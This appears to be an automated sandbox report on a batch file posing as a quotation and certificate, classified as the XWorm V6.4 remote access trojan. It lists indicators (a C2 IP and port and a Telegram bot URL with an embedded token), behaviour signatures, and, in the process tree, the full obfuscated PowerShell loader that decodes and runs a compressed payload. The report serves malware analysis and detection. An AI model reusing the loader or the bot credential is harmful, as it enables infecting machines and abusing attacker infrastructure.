Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29/10/2025, 11:11

General

  • Target
    SPE-2025010-WA001310_pdf/RFQ2025010-WA001310 and Certificate_IMG.bat
  • Size 122KB
  • Sample251029-m98ncafr6y
  • SHA256 84bc64c5f0b3e217896ebecb8b6d434d0c8fb4c33aa87125b3b8e2062aa283d5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Version
  • XWorm V6.4

C2
  • 178.16.55.129:6333

Mutex
  • o6MhfpGjJ5FpV4Wz

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

  • telegram

    https://api.telegram.org/bot7409572452:AAGp8Ak5bqZu2IkEdggJaz2mnMYRTkTjv-U/sendMessage?chat_id=6870183115

aes.plain

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFQ2025010-WA001310 and Certificate_IMG.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:224
    • C:\Windows\system32\cmd.exe
      cmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFQ2025010-WA001310 and Certificate_IMG.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFQ2025010-WA001310 and Certificate_IMG.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1488
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('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'.Replace('bgjcrpkspwke','')))))""
          4⤵
          • Badlisted process makes network request
          • Drops startup file
          • Adds Run key to start application
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3792
  • C:\Users\Admin\AppData\Roaming\XClient.exe
    C:\Users\Admin\AppData\Roaming\XClient.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4980

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_q4o34ytk.h5j.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4o34ytk.h5j.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        XClient.exe

        • Path C:\Users\Admin\AppData\Roaming\XClient.exe
        • Size 440KB
        • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
        • MD5 SHA1 SHA512 SSDEEP

        aoc.bat

        • Path C:\Users\Admin\aoc.bat
        • Size 122KB
        • SHA256 84bc64c5f0b3e217896ebecb8b6d434d0c8fb4c33aa87125b3b8e2062aa283d5
        • MD5 SHA1 SHA512 SSDEEP

        memory/3792-16-0x0000022EB6640000-0x0000022EB6650000-memory.dmp

        memory/3792-3-0x0000022E9CD30000-0x0000022E9CD52000-memory.dmp

        memory/3792-1-0x0000022EB6670000-0x0000022EB6680000-memory.dmp

        memory/3792-12-0x0000022EB6670000-0x0000022EB6680000-memory.dmp

        memory/3792-13-0x0000022E9CDB0000-0x0000022E9CDB8000-memory.dmp

        memory/3792-14-0x0000022EB6630000-0x0000022EB663E000-memory.dmp

        memory/3792-10-0x0000022EB6670000-0x0000022EB6680000-memory.dmp

        memory/3792-25-0x0000022EB6670000-0x0000022EB6680000-memory.dmp

        memory/3792-37-0x0000022EB6DD0000-0x0000022EB6DDE000-memory.dmp

        memory/3792-40-0x0000022EB6DF0000-0x0000022EB6F98000-memory.dmp

        memory/3792-2-0x0000022EB6670000-0x0000022EB6680000-memory.dmp

        memory/3792-22-0x0000022EB6670000-0x0000022EB6680000-memory.dmp

        memory/3792-39-0x0000022EB6DE0000-0x0000022EB6DEE000-memory.dmp

        memory/3792-33-0x0000022EB6670000-0x0000022EB6680000-memory.dmp

        memory/3792-34-0x0000022EB6670000-0x0000022EB6680000-memory.dmp

        memory/4980-23-0x0000012725D30000-0x0000012725D40000-memory.dmp

        memory/4980-35-0x0000012725D30000-0x0000012725D40000-memory.dmp

        memory/4980-36-0x0000012725D30000-0x0000012725D40000-memory.dmp

        memory/4980-32-0x00000127260D0000-0x0000012726116000-memory.dmp

        memory/4980-24-0x0000012725D30000-0x0000012725D40000-memory.dmp